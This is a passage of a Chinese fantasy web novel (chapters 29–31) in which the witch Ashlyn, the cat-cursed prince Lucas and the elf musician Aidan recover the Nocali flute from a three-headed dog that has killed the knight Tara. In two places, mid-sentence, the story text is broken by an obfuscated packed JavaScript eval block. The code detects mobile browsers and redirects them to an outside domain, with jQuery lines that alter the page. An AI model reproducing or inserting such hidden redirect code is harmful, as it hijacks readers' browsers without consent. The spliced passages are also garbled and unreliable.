三只狗头没有看塔拉,一爪子拍下去,便将她抛到树干上。 他身体紧紧贴着墙,惊恐地望着毫无生气的精灵骑士,又强迫自己直视那三颗丑陋的头。 它们缓缓转过来,像在冰冻中行动一样缓慢。 六只血红的眼睛,全部落在卢卡斯一人身上。 最终聚焦于他的斗篷。 29.一份礼物 阿什琳望着父女相拥的场面,突然感到有些惊奇。她和萨诺瓦从不会这般亲密,他们的关系时常介于父女、师生与朋友之间。倘若萨诺瓦是她的生父,她的童年会拥有更多爱吗? 她想上前更仔细地看看,但动弹不得;梅莉娅和艾丹也是一样。他们只是观众罢了。 回忆中的克里夫一身柔光,揉了揉希达浅色的头发。 “我接下来要去北方了。”他说,“兽人那边遇到了从迷宫出逃的怪兽,但他们没有能够杀死它的武器。” “不。”阿什琳身侧的梅莉娅喃喃道,艾丹握紧她的手。 他们都知道接下来会发生什么。 他从背上取出一把长长的白弓,阳光之下,弓身亮得刺眼。 “认识这把弓吗,亲爱的希达?” 精灵小女孩闻了闻:“龙火的味道。” “不错。这是把龙骨弓,由狄亚斯的龙战士制作,作为与精灵的和平协议之礼,赠予我们。它极其罕见,任何搭上它的箭矢都会被附着龙火的魔力。”克里夫做出拉弓的姿势,“只有它,能杀死来自迷宫的怪兽。” 希达瞪大眼睛。 “你能教我怎么射箭吗?” 克里夫咧嘴一笑,这是他最后一次笑了。 “等我回来就教你。” 场景变化了。 阿什琳麻木地来到那次战场,与森林女神为她呈现的画面一模一样。她没有再认真看克里夫是如何射杀奇美拉后死去的,她不想再看了。一切都发生得如此迅速。 她竭力将自己的悲伤压住,却无济于事。梅莉娅女王先是失去了爱人,又失去了女儿,一次因北方的怪兽,一次因兽人的赠礼,阿什琳不难想象为什么她逐渐固步自封。 作为一位女王,她不该如此;但作为一个妻子与母亲,她只是陷在了悲痛里。精灵本是永生的,生命对他们来说就是永恒,一个精灵一生中能见证多少次死亡? 场面再度切换,这回是过去的梅莉娅。她跪在神像树下,银发是老人头顶的枯草,眼泪是她破碎的心。长发与泪水一道,毫无生机地坠落。 “我需要见他一面。”她恳求,“无论以什么方式……” 她的声音越来越小。一时间,什么也没发生,阿什琳几乎以为梅莉娅就这样昏死在树下。 突然,梅莉娅尖叫一声,两眼闪烁着可怕的光芒。强大的魔力撼动着大地,神树摇摆。 随着一阵微风拂过,一个瘦长的男人从阴影中走出。 他穿着纯黑的斗篷,乍一看好像一只巨型蝙蝠。离近之后,他摘下兜帽,露出一张清俊的面容。 “精灵女王梅莉娅。”他轻声说。 梅莉娅困惑地张了张口。“你——你不是西尔维娜。” “显然如此。与生机勃勃的森林相反,我是死亡之神桑托里斯。”他说道,“你的痛苦感染了我。永生者最大的诅咒,便是看着所爱之人坠入灵界,而自身永存。” 死神抬起手,一支银色的长笛落在梅莉娅手中。上面写着:诺卡利。 “生命。”梅莉娅低语。 “我在这支长笛中加入了来自另一个世界的清风。风让生命沟通,令灵魂流动,亦能释放黑暗。 “这份礼物予你——它无法让你复活他,但能让你窥见灵界一角,与你逝去的爱人对话。 “但记住,生与死的界限由我掌管,妄图扰乱秩序者,将付出永恒的代价。” 阿什琳感觉耳边轰然一响。 诺卡利魔笛,是死神的礼物。 这是月神如此撰写谜语魔咒的原因吗? 四位神灵,四种元素,四方地点。 她刚要觉得自己明白了什么,场景却再次转换,打断了她的思绪。 接着,她看到了伊洛文亚。 主殿里,模糊不清的梅莉娅发布禁令,禁止精灵随意离开精灵谷;进入精灵谷的外者也将被严格审判,多数会落得地牢的下场。 “不能再让任何子民因外面的危险而死去……”颁布法令后,她自言自语的声音需要阿什琳侧耳才能听清。 宫殿中那些绚丽多彩的画卷黯然失色,日复一日地挂在墙面,不再翻新。那些热衷旅行写生的画师们只能将自己封闭在画室,反复描绘几千年已有的传说。雕像上结了蜘蛛网,偶尔有精灵清洁工来打扫,但再强烈的阳光也不令石膏发光,因为时间令它们凝固了。 舞台上的表演是精湛的,夸张的,但剧本是一模一样的套路,周而复始。剧作家想要挖掘新点子,也只能从古代的图书中苦苦查找。 艾丹对着划了又划的乐谱抓耳挠腮,最终沮丧地大叫一声,将羊皮纸揉成一团,猛地砸向柜门,纸团孤独地在地上滚了一圈儿。乐师们永远演奏着过去的曲调,几十年不再出新作。他们听不到外界的音符,也奏不出崭新的旋律;他们知道自己应该表达,却不知道要表达何物。 没有灵感的艺术家们来到神橡树前祈祷,那是他们魔法的源泉,他们艺术的传统。可就连它,也日渐枯萎。 伊洛文亚精美依旧,却令人窒息。 所有场景都崩塌了,他们回到现实的夜色之中。 “现在你看清了吗,母后?”希达的灵魂问道,“这么多年,伊洛文亚的变化。” “是的。” “你的禁令——” “是的。”梅莉娅打断她,“我很抱歉。我会……” 她深深吸了口气。 “作出改变。” 希达雕像上的藤蔓轻盈地弯曲了,似乎在试图露出微笑。 “那么,有你的誓言和森林之子的魔法庇佑……我想我终于可以离开了。我一直等待着这一天。” “希达,等等——” 话音未落,她好像就彻底浸入了阿什琳的作品,不再发光,不再鲜活,不再言语。 阿什琳想,她可能无意中创造了一种新的魔法,与灵魂结合后也变成更新的事物。 前所未闻。 夜晚安静得可怕,没有谁多说一句话。 艾丹新奇地观察着希达的植物雕像,但很快又担忧地望向梅莉娅。 泪水划过梅莉娅的脸颊。见到她如此难过,阿什琳也再次低落起来。 她原本还沉浸在刚刚一系列画面中,为精灵们感到难过。 但脑海中,一个小小的声音响起:如果是卢卡斯在这儿,他会怎么做?肯定不会任凭自己随情绪遗忘目标,对吧? 她没忘记他们最初的目的:打动女王,获得寻找与借用魔笛的许可。她已经两次被森林女神警告过,他们不是没有时间限制的。 “刚才的一切,您都听见了,也看到了,陛下。”阿什琳鼓起勇气,轻声道,“我们虽是人类,但面对生死离别并不陌生。或许我不知道失去孩子是什么感受,但不代表我没有尝试去感受的能力。这就是我们献上的、最后的大礼。” “最后的大礼。”梅莉娅呆呆地重复着这句话,“那么——魔笛——” “情况很紧急,陛下。您能准许我们寻找魔笛,并借用一段时间吗?” 梅莉娅双目紧闭一阵,好像隔了几个世纪那么漫长。 睁眼后,她又摸了摸希达的雕像,最后才说:“是的,我准许。但是,我有两个要求。 “首先,找到魔笛后,必须先帮我们治愈神树。” “当然。” “其次,艾丹必须同你们一同前往调查。” 阿什琳一僵,抓了抓头发。 和艾丹行动依然是个好主意吗? 若非他那奇怪的一眼,她早就大获成功。 也许她该问问他。 “好的。”她勉强答应,“我们先去找卢卡斯和塔拉。” —————— 路上没有其他精灵,夜风又开始微微发凉。太阳还没有升起,但天边已经泛起淡淡的红光,山谷空中的那几朵云好像眼球中的血丝。 这个时间本该睡觉,更准确地说,是快要睡醒。但阿什琳十分清醒。 “我看你开始表演得非常出色呢。”艾丹挑起话题,“为什么会——你知道的。” 阿什琳不知道该怎么回答,一阵恼怒涌上心头。 这不是他们都心知肚明的事吗?他明明知道,他们目光相遇刹那,就是灾难的开端。 他当她是谁,乡下来的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354868|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类傻瓜?是不是所有生物都这么看她,一个十几岁的、什么也不懂的小女孩? “因为你。”阿什琳决定采取最直接的方式,“我表演的时候,你为什么要那样看我?” “‘那样’?”艾丹看起来很惊讶,“哪样?” “就那样。” “你是说我的眼神打断了你的表演么?” 艾丹似乎觉得她很好笑,可她不是。 本就抱着一肚子火和他说话,现在他的反应又显得她像个胡思多虑的笨蛋。 她感到更窝火了,不由得咬牙切齿。 “对,我就是这个意思。您耳聋吗,大人?” 艾丹的语气真诚得无法再真诚了:“阿什琳,我被你的表演惊呆了,我看得入了迷。你知道我对各种魔法的感知都很敏感,无论森林、艺术,亦或是其他。而当你将它们融合,我感觉……五感爆炸,彻底震撼。 “请相信我,再没人能做到你这样的魔法了。希望我的眼神没有令你感到不适——若还有下次,我会尽量保持一个表情。” “但是——你看起来就像——”她搜肠刮肚,“就像疯了一样。” 艾丹无奈一笑。 “有那样迷人的魔法出现在星月晚会的舞台上,又有谁不会发疯呢?阿什琳,我心中唯一所想,就是与你一同夺回魔笛,为神橡树献上我们的长歌。” 阿什琳从鼻子里哼了一声。 艾丹酝酿了一会儿,再次开口。 “好吧,的确还有别的原因。”他小心翼翼道,“我可能……被你迷住了。我是说,不仅仅是你的表演。” 阿什琳猛然停下脚步。 “这又是什么意思?” “请不要误会。”精灵乐师结结巴巴地解释道,“只是——你身上有种极其有魅力的特质,我——我不知怎么形容。” 阿什琳盯着他,艾丹的面孔被光亮蘑菇和悬浮灯笼照亮,微微泛红。 他在说谎吗?看着不像。可他之前给她的感受不是…… 这么说,她之前对他的怀疑是对的。他真的能对一个人类小姑娘感兴趣。这足以令她极速脱粉了。 “好吧,我可以暂时放你一马,但仅仅是因为现在情况紧急,我没空去揣摩你们这些活了几百岁的老古董的心思。”阿什琳生硬地说,“顺便一提,我只喜欢你的音乐。” “可以理解。”艾丹立刻道,显得如释重负,“来吧,他们应该在塔拉的家——医师塞提尔最近都在为塔拉的母亲看病。” “你怎么知道?” 艾丹耸耸肩。“我和塔拉一向是很好的朋友。” 塔拉的屋子是亮着光的,房前却弥漫着古怪的腐烂味,令阿什琳想起……某种犬科动物。周围的树枝被折断了,地上有不少狗爪印一样的痕迹。 这感觉很熟悉,好像她和这生物有某种关联。 先前那种“什么东西苏醒了”的感受击中了她。 这不可能。 房子里的蜡烛孤独地摇曳着,空无一人。血腥味愈来愈浓郁,阿什琳的心剧烈跳动,昏暗的角落里好像藏着数不清的怪物。 “有人吗?”她试探性地问。 没有回应。 房间里泛着草药与血腥气,香黛也刚灭,显然主人只是刚刚出去。墙壁上有深深的爪痕与血印,地面散落着药瓶的碎片,与一把长剑。 阿什琳咬咬牙,又往前走了几步,然后骤然停下。 一只手漏在门后,底下是暗红色的血。 如同她最恐怖的噩梦。 “艾丹。” “你找到什么了吗?” “没有,但是——过来。” 精灵乐师快步走来,也僵硬在原处。 他们面前,躺在地上的,是塔拉。 她金色的长发染上深红,凌乱地在地面散开,眼神空洞。 鲜血伴随着四道抓痕,从胸前绽放,像一朵开在红纹上的猩红玫瑰。 她的旁边,是破碎的蓝色斗篷,上面缝着赫利安城的金阳徽章,同样被血染红。 阿什琳大脑一片空白,耳边嗡嗡作响。 她对这斗篷再熟悉不过了。 30.猫狗大战 艾丹虽也过了许久才缓过神,但显得比她更为镇定。他从柜子上的那堆药瓶中拿了点什么,随后推开后门,观察起地上的脚印与血迹。 “他们往森林中去了。” 阿什琳呆在原地,脚下生满密密麻麻的根,死死束缚着她的双脚,令她动弹不得。 塔拉是被怪兽杀死的,而她自己与这只怪兽密不可分。 那头怪兽本来被困在外面,沉睡着……她的魔法不知怎地唤醒了它,或者给它开了门。 而当时她竟觉自信满满,充满力量。可这力量冲破了怪兽的枷锁。 她竟然以为自己是全场的掌控者。还有人,会比她更傲慢自大么? 她的魔法害死了一个活生生的精灵。是她唤醒的那头野兽,也是她默许塔拉带卢卡斯回家医治的。 她的错误就像滚雪球一样,越来越大,从一开始只是念错的词语,到现在自以为是的野性的魔法。 她以为她有所长进。是吗? 如果她此时抬起手,定能看到自己手上沾满鲜血。 突然,另一双手放在她肩膀上。她浑身一颤,差点跳起来。 “听我说,”艾丹强迫她抬头,“如果我没认错的话,那些爪印与挠痕,属于一头三头犬。三头犬不会无缘无故闯入精灵谷作恶。我怀疑这与魔笛有关——听我说!” 他凝视着她。 “你不想救回卢卡斯吗?” 这个名字终于让理智一点点挤进她的大脑。 她的责任,她心想。她踏上旅途的原因。 但忽然间这些概念都变得微不足道了,令她回过神来的并不是她的责任感。一些别的词语闪进她的脑海。 伙伴。搭档。朋友。 蓝色的眼睛,温柔的语气,柔软的黑毛。 她不能失去这些。她已经害死一个无辜的精灵了。 如果此时躺在地上的不是塔拉,而是卢卡斯呢?她发现自己根本无法想象那样画面,相比之下呕吐更轻松一点。 不会的,她逼自己回到现实。 卢卡斯当然还活着,他只是丢了斗篷的一角。不会有事的。 “当、当然。” 他们顺着爪印,来到幽暗的森林。除了猫头鹰的低鸣,他们什么也听不见。 光亮蘑菇一点点消失了,阿什琳举起法杖,让绿萤石照亮路线。 树枝像黑女巫的手爪般扭曲交错,树干上的纹路令她想起一只又一只眼睛,接连不断地凝视着她。她紧盯着脚下的树根,如果不这么做的话她很快就会被绊倒,这是她小时候在白蜡树林就学到的事实。 艾丹停下来。 “听。” 阿什琳竖起耳朵。 不远处,偏南的方向,传来一阵阵呼噜声。 他们小心翼翼地绕过树根,后背抵在树干上,缓缓向呼噜声望去。 她捂住自己的嘴,以防自己尖叫出声。 一头活生生的三头犬,正在林间空地的石堆下呼呼大睡,发出震耳欲聋的声响。 好几团蚊虫被那些鼻孔吸进去,又吐出来。 它怀中抱着的,不是别的,正是诺卡里魔笛。 突然,咔嚓一声。一根树枝在她身后断裂了。 她脑中一片混乱,没有多想,刚要冲来者随便用周围的植物攻击,却撞进一双疲惫的蓝眼睛里。 “嘘!”在她惊喜地叫出声之前,卢卡斯连忙将手指压上嘴。 他看起来只能用“糟透了”来形容。 满身泥泞与落叶,黑发像鸟巢一样凌乱,混杂着血液与汗水,挡住部分眼睛。鼻梁和下巴上有几道划痕,斗篷和衬衣都破烂不堪。闻起来也有一股血与怪兽的味道,就好像他刚刚在地狱里泡了个澡。 阿什琳完全忽视了这些,狠狠抱住了他。 现在他们俩一样又脏又难闻了。 她不在乎。 “嗷,”卢卡斯小声叫道,“阿什——我的肋骨——” “抱歉!”她急忙放开他,脸上发烧,“我以为——我以为我们失去你了,小猫咪。” 这可能不是在这个情境下最合适的称呼,但鉴于他先喊了她的昵称,她总得报复一下。 “我也以为。”卢卡斯轻声道,看向艾丹,“我很抱歉,塔拉——我什么也做不了。她救了我。我才是那个应该死去的,三头犬是冲我来的,因为魔笛在我手里。我没法阻止……” 艾丹僵硬地点点头。 “你用魔笛催眠了三头犬。” “只是暂时的,而且在最后时刻它还是将它夺走了。”卢卡斯说,“我什么也做不了。”他又重复了一遍这句话,声音像破碎的玻璃。 见到活着的卢卡斯总算驱散了些阿什琳的脑雾。她振奋了些,极力不去回想死去的塔拉。 至少现在还不是最坏的情况,魔笛近在咫尺。精灵骑士不能白白牺牲,塔拉肯定也希望魔笛回归宫殿。 “我们需要理清线索,商讨接下来的对策。”她压低嗓音,“是我的错。我魔法中的一些野性似乎唤醒了三头犬,但魔笛——” “——是塔拉偷的。”卢卡斯接道,“三头犬是她引来的,你的魔法不是主要原因,顶多是为它破除了一些阻碍,加快了进程……它迟早会来。这不怪你。” “塔拉偷的?”阿什琳震惊地说,“好吧,嗯……还有一件事。魔笛是死神的礼物。等等,这不是最关键的那个。” 她又吸了口气,清理着凌乱的大脑。 “龙骨弓,对。森林女神给过我提示。龙骨弓可以射杀奇美拉。” “那么它也能送三头犬回灵界。或许不是立刻,但中箭一段时间后便能实现。”艾丹说,“可是伊洛文亚最后的龙骨弓随克里夫大人一同入土了。” 阿什琳没有说话,而是在空间背包中翻找着,掏出龙息村的夏洛特送给他们的那把龙骨弓。 艾丹惊讶:“你们从哪儿得来的?” “一个好心人送的。”卢卡斯含糊其辞——总不能说“是龙息村一个老太太觉得我们可怜,随手给的”吧,“但问题是,我们没有箭。我们中应该派一人回武装库取武器,并叫上支援——” “来不及的,”艾丹摇头,“音乐的魔法持续不了太久。我曾经用竖琴对付过它的同类——我想它们应该不是同一只,但也差不多。魔笛的持效时间可能比普通竖琴强,可它依然很快就会醒。当时伊洛文亚还没有封闭,是你们的猎魔人杀了那只狗。” 阿什琳目光在四周搜寻,一定有别的方法的。 她捡起刚刚被卢卡斯踩断的树枝,树枝的尾部很尖锐,顶端是绿叶,长度大小刚好像一支箭。 “别告诉我你想用树枝射杀三头犬。”卢卡斯怀疑地说。 阿什琳翻了个白眼。 “当然不是,我没那么傻。”她低头又在包里找起来,总算拿出一瓶紫色的魔药——巨龙爱苏萨的礼物,“幻化药水,能够将一件物品伪装成另一件与之十分相似的物品。” 两个男孩立刻明白了她的意思。 “聪明的一招,”卢卡斯说,“但终究是伪装,真的能杀死三头犬吗?” “那只能先试试看了。”阿什琳耸耸肩,将一三滴药水分别滴在三根形似箭矢的树枝上。 效果立竿见影。三支尾部是羽毛的箭瞬间呈现在他们眼前。 卢卡斯拿过弓箭。 “那么,艾丹,你的琴在身边吧?” 乐师点点头。 “很好。艾丹用琴迷惑三头犬,分散它的注意力。阿什琳,你用森林魔法来夺取魔笛,看情况保护我们。我是我们三个中唯一会使用弓箭的,我来射杀这三只狗头。”卢卡斯说。 “切记,杀它之后不要放松警惕。”艾丹警告,“黑暗孕育出的怪兽都需要时间才会真正死去。” 卢卡斯点点头。 “我说的还是比较坏的情况。最好的情况是它还没醒我立刻就杀死它。” 当然,事情不会这么简单。 在他搭上箭的那一刹那,龙骨弓的魔力就附着在了箭上,而这撼动了大范围的森林。 松树和柏树一同摇晃,石子跳跃,三头犬翻了个身。 六只眼睛同时睁开。 “照我说的做!”卢卡斯大喊。 三头犬迅速爬起,冲他们晃动脑袋,嘶吼着,令他难以集中目标。 艾丹弹起鲁特琴,轻快的小曲儿让三头犬又转了个身,一时松开诺卡利魔笛。 阿什琳借机冲上前去,在手指碰到魔笛的前一秒,却被三张狗嘴同时大吼一声。 腐烂的气味涌向她,她不禁连连咳嗽,恨不得把五脏六腑都咳出来。 三头犬中间的那颗狗头叼起魔笛,朝阿什琳扑来。 “嘿,小狗狗!”卢卡斯的声音从石堆上方传来,“看这儿!” 三只狗头困惑地向他看去。 卢卡斯刚自信地拉开弓,箭还没射出去。 就在这时,林间洒下一缕阳光。 黎明的阳光。 阿什琳心一沉。 “该死的。”卢卡斯咒骂道。 人形褪去,他变成那只黑猫。 弓箭从石堆上掉落在三头犬面前,好像一个玩笑。但凡他再快一秒,三头犬就可能已经死了。 她和艾丹对视一下,他们一个是女巫,一个是乐师,当然谁也不会射箭。 猫就更不会了。 然而,她忽略了更严重的问题。 卢卡斯变成猫的一瞬间,艾丹的鼻子就红肿起来。 接下来,他打了个剧烈的喷嚏,连三头犬都震惊地停住了,等他又抽鼻子又抹眼泪地接着打喷嚏。 事已至此,完全偏离了他们所有的计划。 “你们——别管我——阿嚏!”他红着鼻头和眼眶,断断续续地说,“继续——阿嚏!” 卢卡斯紧急后退,离艾丹越远越好,但大乐师的症状没有丝毫缓和。 艾丹强忍不适,试图继续弹奏,可接连不断的喷嚏令他完全无法继续。 “计划A已失败;开启计划B!”卢卡斯大喊。 “呃,我们有计划B吗?” “艾丹退出战斗,”卢卡斯命令,“我分散三头犬注意力夺回魔笛,阿什琳,你负责射杀它。” 阿什琳怀疑自己听错了。 “你没听错,”卢卡斯好像能听见她的心声似的,“拿起弓箭,阿什琳!这是我们唯一的机会!” “我对射箭一窍不通!” “很简单,首先你要记住八个动作——” “八个动作?!你真该换换‘简单’这个词的定义了!” 艾丹放下琴,跑到溪水边寻找阳光合适的角度,试图用彩虹召唤救援。 阿什琳捡起弓箭,从三头犬身下一滚,回到刚刚的树干后,大口喘气,心跳强烈得好像随时能蹦出胸腔。 冷静,冷静。她对自己说。 她是女巫,不是射手,那么就用女巫的方式来解决射箭的问题。 她颤抖着再次翻开背包里的笔记。 “这种时候你竟然还在温习笔记?”卢卡斯尖锐地问,从三头犬身上一跃。 阿什琳没空和他斗嘴。 治疗咒、猫语咒、幻术咒……不在这堆里。 她依稀记得自己曾为了不搞混,专门记过一些很相似的咒语,还贴了标签,可惜标签早就掉到不知何处,她也确实没大搞清楚。 她疯狂地翻着页,当终于看到“心灵大类”时猛然停下。 关于心灵、灵魂与记忆的魔法有很多,而且非常容易出错。揭真咒、本心显形咒…… 记忆共享咒。 虽然持续时间不长,但她只需要几分钟。虽然她不擅长这类咒语,但只能孤注一掷了。 阿什琳举起法杖,对准卢卡斯,迅速念着。 “Per Magicae Vinculum, Memorias Nostras Coniunge!” 无事发生。 “你肯定看漏了什么,”卢卡斯一边被三头犬追赶着,一边大喊,“好好看看老师怎么写的!” 萨诺瓦是怎么写的? 阿什琳眯起眼睛,看到咒语下有极其小的一行注释,不仔细看压根儿不觉得那是文字:肢体接触。 “小猫,快过来!”阿什琳回过头,“这条咒语需要我们碰到对方。” 显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369981|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,卢卡斯无暇应对她。 三头犬逐步向他逼近,魔笛依然在它身后。 黑猫耳朵紧紧向后贴着,浑身的毛都像爆炸一般,尾巴粗粗举起。 他冲三头犬发出蛇一样的嘶嘶声,抬起一只毫无威胁的爪子。 阿什琳心一横,直接让离他最近的那棵树弯下腰,树枝将黑猫拎起来,递给她。 “还有这种服务?”他抱怨起来。 她抱住他,潦草地给他顺了顺毛,再次念出咒语。 “Per Magicae Vinculum, Memorias Nostras Coniunge!” 顷刻间,他们满眼都是绿色与蓝色。绿色属于阿什琳的灵魂,而蓝色是卢卡斯的。 但此刻,它们相互缠绕,逐渐融为一体,化作夏日浅滩海边,那耀眼、莹亮的蓝绿色。 他们暂时地共享了记忆。 阿什琳一时目不暇接。 九岁的卢卡斯翻出窗外出去和下城区的孩子玩,被关进地牢整整三个晚上,手腕上枷锁的印记通红地燃烧。 十二岁的卢卡斯闷闷不乐地在自己的生日派对中穿梭,向所有为他祝贺送礼的贵族投来怀疑的目光,但那目光转瞬即逝,很快被迎合的微笑取代了,和其他贵族一模一样。 她看到尼古拉斯二世领着十三岁的卢卡斯穿过长厅,为他看玻璃框中一顶闪闪发光的皇冠,顶上镶嵌着红到极致的红宝石。 阳光下,世界上其他任何事物都不再重要,好像它承载了整个宇宙的意义。 “这是你的未来,卢卡斯。”他语重心长道,“但你需要自己得到它。” 十五岁的卢卡斯蹲在父母门口,偷听他们的谈话。尼古拉斯二世面色阴沉。 “我们的儿子贪玩又好吃懒做,你知道他今天一个人出去骑马找‘森林里的独角兽’了吗?” “偶尔让他出去一下也没什么不好。” “要是伊莱恩和卢卡斯性别对调一下就好了。”国王沉闷道,“伊莱恩总是那么聪明又努力。” “尼古拉斯,”格拉西亚王后指责,“这没什么,伊莱恩一样可以继承王位。” “把整个国家交给一个女孩儿,只因为儿子是个废物——” “够了。”格拉西亚一拍桌子,卢卡斯浑身一抖,“精灵谷和兽人那边都是女性在统治,什么时候你才能放下偏见?我说伊莱恩能当女王,那么她就能。” 她以不容置否的语气结束了对话,阿什琳很认同她的说法,但也注意到她没有完全否认丈夫对卢卡斯的评价。 她摇了摇头,不。 这是卢卡斯的隐私。 只需要知道怎么使用弓箭,就这样。 把所有其他记忆的大门通通锁死。 “太阳神啊,不会吧,”卢卡斯也被蓝绿色缭绕着,此刻竟然还有心思调侃,“艾丹——对你表白了?天啊,他都多大了?他——” 阿什琳红了脸。 “不要乱看!” “我没有看,是你忍不住在想我才会看见!” “我才没想!” 黑猫再次蹿到三头犬身后。 阿什琳用咒语在脑中搜寻着,竭力屏蔽掉那些毫不相干的记忆。卢卡斯在靶场上射箭的场景涌进脑海。 她从身侧抽出三支假箭,抬手举起龙骨弓,搭箭、拉满、瞄准。 然而,就在她瞄准那三只狗的一瞬间,一个声音击中了她。 她真的,要杀死这个只是想守护平衡的生物? 它也是一种生物,不是吗? 它又和龙有什么区别? 她能摆脱前人对训龙的执念,为什么还要一味地杀生不停? 书中的故事不都是这么说的么:仁慈,才是最高尚的品格。 她忽然意识到,这是她第一次要亲手斩杀一条生命。 三头犬算生命吗?其实它也不会真正死,只是回到灵界。而当生死的界限再度被打破,它依然有可能穿过帷幕。 “阿什琳,你在干什么?”黑猫急切地叫道,“再不杀它我就要先死了!” 塔拉已经死了。卢卡斯也快死了。她到底在纠结什么? 阿什琳铁下心。 她拉开弓,然而放出箭的刹那间,三头犬偏离了方向,一口咬住卢卡斯的尾巴。 黑猫呲牙叫了一声,狗放开他,再次上演狗追猫的游戏。 箭插进一棵松树的树干。 “哟,对不起!”她立刻又捡起一枝树枝,拿出幻化药水,结果手一抖滴在脚边的石头上。 石头变成了一个皮球。 “阿什琳!”卢卡斯已经累得上气不接下气。 “嘿,狗狗,捡球球吗?”阿什琳将球向三头犬抛去,短暂吸引了它的注意力。 它立刻去追逐那只球,尾巴摇摆不停。这时候它显得和普通的狗没什么区别,三只头为谁有资格玩皮球互相吵起来。 她趁机又滴上药水,再次搭箭。 球对三头犬的吸引力是短暂的。过不了多久,它的视线又回到那只黑猫身上。 “饶了我吧。”卢卡斯长叹一声,开始往树上爬。 三头犬猛地一跃,刚要咬住卢卡斯的后退—— 唰!唰!唰! 三声破空声几乎连成一线,三支箭精准无误地射进三头犬的三颗头颅。 怪兽发出三声尖叫,惊飞了林间所有乌鸦。脑袋们似乎无力地耸拉下来,沉重的身躯倒在地上,尘土飞扬,魔笛从它身后滚落。 阿什琳松了口气,向三头犬的尸体奔去,想要夺回魔笛。 可是,它还不完全是尸体。 等她想起森林女神的提示时,已经晚了;等她回忆起艾丹那句“不是立刻”时,已经晚了;等她听到卢卡斯的叫骂声(诸如“白痴,快回来!”)时,也已经晚了。 或许她的头脑和心灵因记忆共享变得更加混沌,她还是没能带着所有理智做事。 三头犬头上插着箭,狠狠将她扑在地上。 她挣扎着转过身,迎上的却是三张血盆大口。 无数颗尖锐的獠牙划破空气,狠劲往她身上一咬,进行临死前最后的复仇。 31.风雨前奏 三头犬咬向阿什琳的那一刹那,卢卡斯的心停止了跳动。 时间被放慢了,他听到有人在尖叫,随后才意识到那是他自己的声音。 他浑身冰凉,某种巨大的恐慌陷入他的每一条骨缝,等终于奔向她时似乎什么也来不及了。 三头犬嚎叫一声,重重倒下,化作飞尘,隐入大地,被尸尘沾染的青草变得如焦炭一般。 阿什琳缩成一团在绿斗篷里,金发乱糟糟地缠绕着石土。 卢卡斯快步前来。爪子颤抖得几乎什么都干不了。 最后,他还是鼓起勇气,翻开阿什琳,爪子轻轻拍向她的脉搏。 她还活着。 卢卡斯大大松了口气,但活着也不以为意安然无恙。他检查起她刚刚被咬下的部位,没见到伤口。 “她还好吗?”艾丹抽着鼻子赶来,“老天!” 他将阿什琳翻过来,她看起来昏倒了,但身上没有太严重的伤。 卢卡斯拍了拍她绿色的斗篷,感到强大的、温暖的魔力涌遍全身。 他倒吸一口气。 “这不是一般的精灵斗篷。”他说,“上面有一种古老的防御咒语。若不是它,她就……” “真是充满惊喜。”艾丹捏着鼻子感叹,“一会儿是龙骨弓,一会儿是防御斗篷……你们俩身上还有什么我不知道的?” 卢卡斯哼了一声,精灵大乐师不知道的可多着呢。 一想到他刚刚共享记忆时看到的阿什琳脑海中的艾丹,他就有点说不清的恼火。 哪有几百岁的大偶像会迷恋自己的粉丝?他们才认识了多久?卢卡斯感觉他对那二百七十六本艾丹乐谱的喜爱程度正在大大减退。 不过,斗篷与龙骨弓顶多算他们运气好。要是没有这份运气,恐怕他们现在全都变成狗啃棒了。 这时,脚步声响起,一片阴影落在卢卡斯和阿什琳身上。 “需要帮助?”梅莉娅问,身后是六个精灵骑士。 艾丹叫的援兵。 —————— 精灵们烧掉了塔拉的遗体。 熊熊燃烧的大火面前,骑士们眼眶发红,而塔拉的母亲艾莲娜止不住地抽泣。 卢卡斯很想上前安慰她,可他只是只无能为力的猫。 再说,他又能说些什么呢? 知道本该死的是他而不是塔拉并不会让艾莲娜更加好受。塔拉是个英雄,他甚至不配为她说话。 纠结了一番,卢卡斯还是来到艾莲娜身侧。 “她是个真正的骑士。”黑猫开口,“她救了我的命。如果我当时能够做些什么……” 艾莲娜摇摇头。 “她也救了我的命。相信我,我比你更想做什么。现在我活下来了,可那又有什么意义呢?” “她会希望你快乐地生活。” 艾莲娜含泪笑了笑。 卢卡斯难受极了,待在这儿的每分每秒都令他觉得是自己害死了塔拉。 为什么他总是这么无能?如果他身上有武器,塔拉或许就不会这样突然牺牲。 他回到阿什琳的房间。 她已经醒了,没有起身,只是安静地陷在柔软的床榻上,指尖地绕着诺卡利魔笛的银纹。 阳光温柔地流淌在她的金发里,就连她长长的睫毛也闪烁着金光。 她整个人被光线勾勒得朦朦胧胧,好像随时都会消失一般。 卢卡斯为此感到有些惊恐——他不是在做梦,对吧?阿什琳的确已经醒了? 他轻轻一跃,来到她的被子上。 “提醒我,以后绝对不要养狗。”阿什琳说。 ……看来不是做梦。 卢卡斯心中石头落地,随后又感到难以置信。 “这就是你死里逃生后的第一句话?” “想让我不活着可难啊。”她耸耸肩。 “这不是玩笑。要不是那斗篷,你就完蛋了。”卢卡斯说,“你当时在想什么?黑暗怪兽不会立刻进入灵界的,那么快就过去必然迎来反击。” 阿什琳不悦地皱起眉。 “我当时吓坏了,又累又心急,而且我也不是每天都在和黑暗怪兽打交道,你知道吧?换做是你,一样可能失误。” “不可能。” 